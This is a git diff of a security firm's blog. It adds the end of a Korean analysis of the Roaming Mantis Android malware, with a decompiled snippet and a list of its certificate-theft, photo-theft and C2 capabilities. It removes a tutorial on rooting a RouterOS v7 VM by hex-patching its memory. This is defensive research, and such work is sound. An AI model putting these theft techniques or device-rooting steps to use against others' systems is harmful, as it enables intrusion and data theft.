class="n">arr_b1</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="s">"CpMSc7iSk/dTcRO7aMe4qA=="</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"fsm"</span><span class="o">,</span> <span class="n">s18</span><span class="o">)</span> +</code></pre></div></div> + +<p>어떤 내용이 오가는지 정확한 내용은 몰라도, 어느 정도 유추는 가능하며 사용자의 기기로 하여금 악의적인 행위를 수행하도록 하는 것을 볼 수 있습니다.</p> + +<hr /> + +<p><strong>⑦ 기타 생략 동작</strong></p> + +<ul> + <li>앱 정보 수집 + <ul> + <li>설치된 앱들의 정보를 수집합니다.</li> + </ul> + </li> + <li>공인인증서 탈취 + <ul> + <li><code class="language-plaintext highlighter-rouge">/sdcard/NAKI</code> 에 저장된 공인인증서를 탈취합니다.</li> + </ul> + </li> + <li>배터리 최적화 무시 + <ul> + <li>백그라운드에서도 안정적으로 실행되기 위해, 배터리 최적화를 무시하도록 합니다.</li> + </ul> + </li> + <li>wifi lock 설정 + <ul> + <li>연결된 WIFI Lock을 <code class="language-plaintext highlighter-rouge">Swi</code> 라는 이름으로 생성, 백그라운드에서도 연락이 이어지게 끔 동작합니다.</li> + </ul> + </li> + <li>사용자 주변 네트워크, 기기 정보 전송 + <ul> + <li>사용자의 네트워크와 디바이스 정보를 SharedPreference에 저장합니다.</li> + </ul> + </li> + <li>루팅 탐지 + <ul> + <li>루팅 여부를 탐지합니다.</li> + </ul> + </li> + <li>금융 앱 관련 + <ul> + <li>금융 앱 대신 <code class="language-plaintext highlighter-rouge">/sdcard/.upload2</code> 하위의 악성 앱을 실행합니다.</li> + </ul> + </li> + <li>사진 탈취 + <ul> + <li><code class="language-plaintext highlighter-rouge">/DCIM/Camera</code> 에 위치한 사진 파일들을 탈취합니다.</li> + </ul> + </li> + <li>C2 서버로부터 command 수신 + <ul> + <li>다양한 command를 전달받아 동작합니다.</li> + </ul> + + <p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/18.png" alt="18.png" /></p> + </li> +</ul> + +<p>이 외에도 모두 분석하면 꽤 많은 양의 기능을 식별할 수 있을 것으로 예상됩니다.</p> + +<hr /> + +<h1 id="4--outro">4. Outro</h1> + +<p>지금까지 Android Malware : Roaming Mantis를 분석해보았습니다. 타인에게 설명하기에 양도 많고 내용도 복잡해 글을 쓰면서도 고민이 많았습니다. 틀린 부분은 없는지 여러 번 확인도 하였지만, 혹시나 발견하신다면 제 미숙함으로 여겨주시면 감사하겠습니다. (틀린 부분에 대한 문의는 hrjeon@stealien.com으로 연락 바랍니다.)</p> + +<p>Roaming Mantis는 매우 정성 들여 만든 Malware입니다. 그만큼 많은 곳에 복제되어서 이곳저곳 쓰일 것입니다. 혹시나 이 Malware를 마주하게 되신다면, 글을 읽으시는 분들도 한번 쯤 분석해보면 어떨까요?</p> + +<p>더 많은 로직이 있음에도 다 담을 수 없어 아쉽기도 하고, 남은 로직은 후일에 천천히 풀어보도록 해보겠습니다.</p> + +<p>글의 주제를 제공해주신 김도현 팀장님과 분석 실마리를 제공해주신 김동규 선임연구원님, 글 작성을 도와주신 임필호 선임연구원님을 비롯한 모의해킹팀 분들에게 감사합니다.</p> + +<p>이 글이 많은 분들의 연구에 도움이 되길 바라며 글을 줄이겠습니다.</p>Hyerim JeonAndroid Malware : 사마귀 해부학버그헌팅: 취약점 체이닝의 중요성2023-07-31T20:00:00+09:002023-07-31T20:00:00+09:00http://ufo.stealien.com/2023-07-31/bughunting-vulnerability-chaining-ko<h1 id="버그헌팅-취약점-체이닝의-중요성">버그헌팅: 취약점 체이닝의 중요성</h1> <h2 id="no-impact-no-bug">No impact, No bug</h2> <p><img src="/assets/2023-07-31-bughunting-vulnerability-chaining/0.png" alt="CVSS3.1" /></p> @@ -1895,121 +2500,4 @@ E.g. the last signature from the list above would become `LINECTF{174c96f2c629af <p>지금까지 <strong>RSA</strong> 란 무엇인지, <strong>키 생성</strong>, <strong>암/복호화</strong>, <strong>서명/검증</strong>은 어떻게 이루어지는지 알아보았고, 또 대수학에서의 <strong>준동형 사상(Homomorphism)</strong> 개념을 CTF 에서 자주 출제되는 유형의 RSA 문제에 적용하여 풀어보았다. 이외에도 수많은 방식의 RSA 공격 기법들이 존재하지만 대부분 위 문제 풀이에서 본 것과 같이 수학적인 개념을 가지고 사칙연산만 할 줄 안다면 금방 이해하고 그것을 문제에 적용할 수 있을 것이다.</p> -<p><strong>암호</strong>를 푼다는 것은 <strong>얽히고설킨 실타래를 푸는 것</strong>과도 같다고 생각한다. 처음 문제를 접했을 때는 도무지 어떻게 이것을 풀어야 한다는 건지 감을 잡을 수조차 없지만 천천히 둘러보다 보면 문제를 해결할 수 있는 <strong>실마리</strong>를 잡을 수 있을 것이다. 이 글이 암호학 문제를 푸는 이들에게 좋은 시작점이 되기를 기원하며 글을 마무리하도록 하겠다.</p>박지원Homomorphism in RSAHow to root your RouterOS v7 Virtual Machine2022-06-01T00:00:00+09:002022-06-01T00:00:00+09:00http://ufo.stealien.com/2022-06-01/how-to-root-routeros-ko<h1 id="how-to-root-your-routeros-v7-virtual-machine">How to root your RouterOS v7 Virtual Machine</h1> - -<p>Finding vulnerabilities in RouterOS is tricky, and this is especially because it does not provide a shell environment like ash or bash.</p> - -<p>Many vulnerability researchers working on RouterOS felt the same and found various ways to enable the root shell on RouterOS. Unfortunately, most of the methods are no longer available on the latest RouterOS version.</p> - -<p>Thankfully, there is a way to jailbreak RouterOS v7 using netboot functionality. <a href="https://github.com/adron-s/mtik_initrd_hacks/issues">This method</a> achieves a root shell by booting through a modified kernel image. However, You need an actual RouterBOARD to use this method, and it is a bit complicated process to generate a modified kernel image and network boot through it.</p> - -<p>While researching RouterOS, we eventually wanted to use virtual machines as a testing environment for various reasons. The netboot jailbreak method doesn’t work on virtual machines. So we had to find another way to acheive the root shell, and we did.</p> - -<p>This article suggests a simple trick to get a temporary root shell on RouterOS which can only be used on virtual machines and is easy to use.</p> - -<h2 id="previously-on-routeros">Previously on RouterOS…</h2> - -<p>RouterOS has a hidden “devel” login which is only enabled when specific conditions are met. When enabled, RouterOS gives you an ash shell if you login with id “devel” via telnet. Most of the RouterOS jailbreaking methods focus on enabling the “devel” login.</p> - -<p>Before RouterOS version 6.41, There were two options to enable the “devel” login feature.</p> -<ul> - <li>‘option’ package is installed.</li> - <li>/nova/etc/devel-login file exists.</li> -</ul> - -<p>/nova/etc/devel-login was removed in version 6.41. So the only option left is the ‘option’ package.</p> - -<h2 id="devel-login-on-routeros-v7">‘devel’ login on RouterOS v7</h2> - -<p>When the telnet connection is made, RouterOS uses /nova/bin/login binary for login authentication. This binary contains the code that checks whether the “devel” login option is enabled or not by checking the ‘option’ package.</p> - -<p>/nova/bin/login checks if the ‘option’ package is installed by executing nv::hasOptionPackage function. By analyzing /lib/libumsg.so library, you can see that nv::hasOptionPackage is equaviliant to nv::hasPackage(“option”).</p> - -<p>In RouterOS v7, nv::hasPackage returns true only when the following conditions are met</p> -<ul> - <li>If the target is a symbolic link, it should point to “/bndl/(package_name)” which is located in the read-only file system.</li> - <li>If the target is not a symbolic link, it should be stored in the read-only(squashfs) file system.</li> -</ul> - -<p>It is hard to bypass the nv::hasPackage function unless we have an arbitrary code execution vulnerability. Even if we somehow managed to pass the nv::hasPackage(“option”) check, the login binary explicitly executes “/pckg/option/bin/bash” as shell which does not exist by default. we still need to somehow write the shell binary on the location.</p> - -<h2 id="simple-trick">Simple trick</h2> - -<p>So, bypassing the “option” package verifying code is not easy, Unless we can change the program code itself. But that would require you to modify the code running on the live memory. That… is impossible. Isn’t it?</p> - -<p>Wait, actually it is possible! Of course, it is. It’s a ‘virtual’ machine after all.</p> - -<p>What if the login binary checks for an “ipv6” package instead of the “option” package? What if the login binary executes “/rw/disk/bash” as shell instead of “/pckg/option/bin/bash”?</p> - -<p>We can make that happen.</p> - -<h2 id="how-to-root-your-routeros-vm">How to root your RouterOS VM</h2> - -<p>What you need:</p> -<ul> - <li>Ubuntu VM</li> - <li>RouterOS x86 ISO Image</li> - <li>VMWare Workstation</li> -</ul> - -<p>Step:</p> -<ol> - <li> - <p>First, install RotuerOS on your VM. After the installation, turn the VM off.</p> - </li> - <li> - <p>Attach RouterOS VM’s Disk to Ubuntu VM</p> - </li> - <li> - <p>Boot the Ubuntu VM, and browse into RouterOS Disk’s volume called ‘RouterOS’. Go to /RW/disk/ and execute the following command to download the busybox binary. Exit the Ubuntu VM.</p> - </li> -</ol> - -<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo mkdir </span>busybox <span class="o">&amp;&amp;</span> <span class="nb">cd </span>busybox -<span class="nv">$ </span><span class="nb">sudo </span>wget <span class="nt">-O</span> ash https://www.busybox.net/downloads/binaries/1.31.0-i686-uclibc/busybox_ASH -<span class="nv">$ </span><span class="nb">sudo </span>wget https://www.busybox.net/downloads/binaries/1.31.0-i686-uclibc/busybox -<span class="nv">$ </span><span class="nb">chmod </span>a+x ash busybox -</code></pre></div></div> - -<ol> - <li> - <p>Boot RouterOS VM and make several login attempts with the invalid credential.</p> - </li> - <li> - <p>Suspend the RouterOS VM. Go to the RouterOS VM folder and open vmem file with hex editor.</p> - </li> - <li> - <p>Find &amp; Replace as follows</p> - </li> -</ol> - -<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Original: 00 2F 62 6E 64 6C 2F 00 6F 70 74 69 6F 6E 00 -Replaced: 00 2F 62 6E 64 6C 2F 00 69 70 76 36 00 00 00 - -Original: 00 2F 70 63 6B 67 2F 6F 70 74 69 6F 6E 2F 62 69 6E 2F 62 61 73 68 00 -Replaced: 00 2F 72 77 2F 64 69 73 6B 2F 62 75 73 79 62 6F 78 2F 61 73 68 00 00 -</code></pre></div></div> - -<ol> - <li> - <p>Save the vmem file. Resume the RouterOS VM</p> - </li> - <li> - <p>Login with devel/(admin’s password)</p> - </li> - <li> - <p>You will get a shell. If not, repeat the process from stage 4.</p> - </li> - <li>Execute the following commands to install the busybox. - <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /rw/disk/busybox -./busybox <span class="nt">--install</span> <span class="nt">-s</span> <span class="nb">.</span> -<span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:/rw/disk/busybox/ -</code></pre></div> </div> - </li> - <li>If everything is done correctly, you should get an ash shell with busybox as the screenshot. -<img src="/assets/2022-06-01-how-to-root-routeros/6d99def97b5f4aa312ca4519056a67ffb624cd4059f38c21bd7f9a08b82c530b.png" alt="picture 4" /></li> -</ol> - -<h2 id="limitation">Limitation</h2> - -<p>This is a ‘simple trick’ method and the shell is not persistent. If you reboot the RouterOS VM, you will have to repeat the process from stage 4.</p>오세준How to root your RouterOS v7 Virtual Machine \ No newline at end of file +<p><strong>암호</strong>를 푼다는 것은 <strong>얽히고설킨 실타래를 푸는 것</strong>과도 같다고 생각한다. 처음 문제를 접했을 때는 도무지 어떻게 이것을 풀어야 한다는 건지 감을 잡을 수조차 없지만 천천히 둘러보다 보면 문제를 해결할 수 있는 <strong>실마리</strong>를 잡을 수 있을 것이다. 이 글이 암호학 문제를 푸는 이들에게 좋은 시작점이 되기를 기원하며 글을 마무리하도록 하겠다.</p>박지원Homomorphism in RSA \ No newline at end of file diff --git a/docs/id/index.html b/docs/id/index.html index f005357..1c95557 100644 --- a/docs/id/index.html +++ b/docs/id/index.html @@ -78,6 +78,30 @@
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
diff --git a/docs/index.html b/docs/index.html index 95c267b..3a10d62 100644 --- a/docs/index.html +++ b/docs/index.html @@ -78,6 +78,30 @@
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+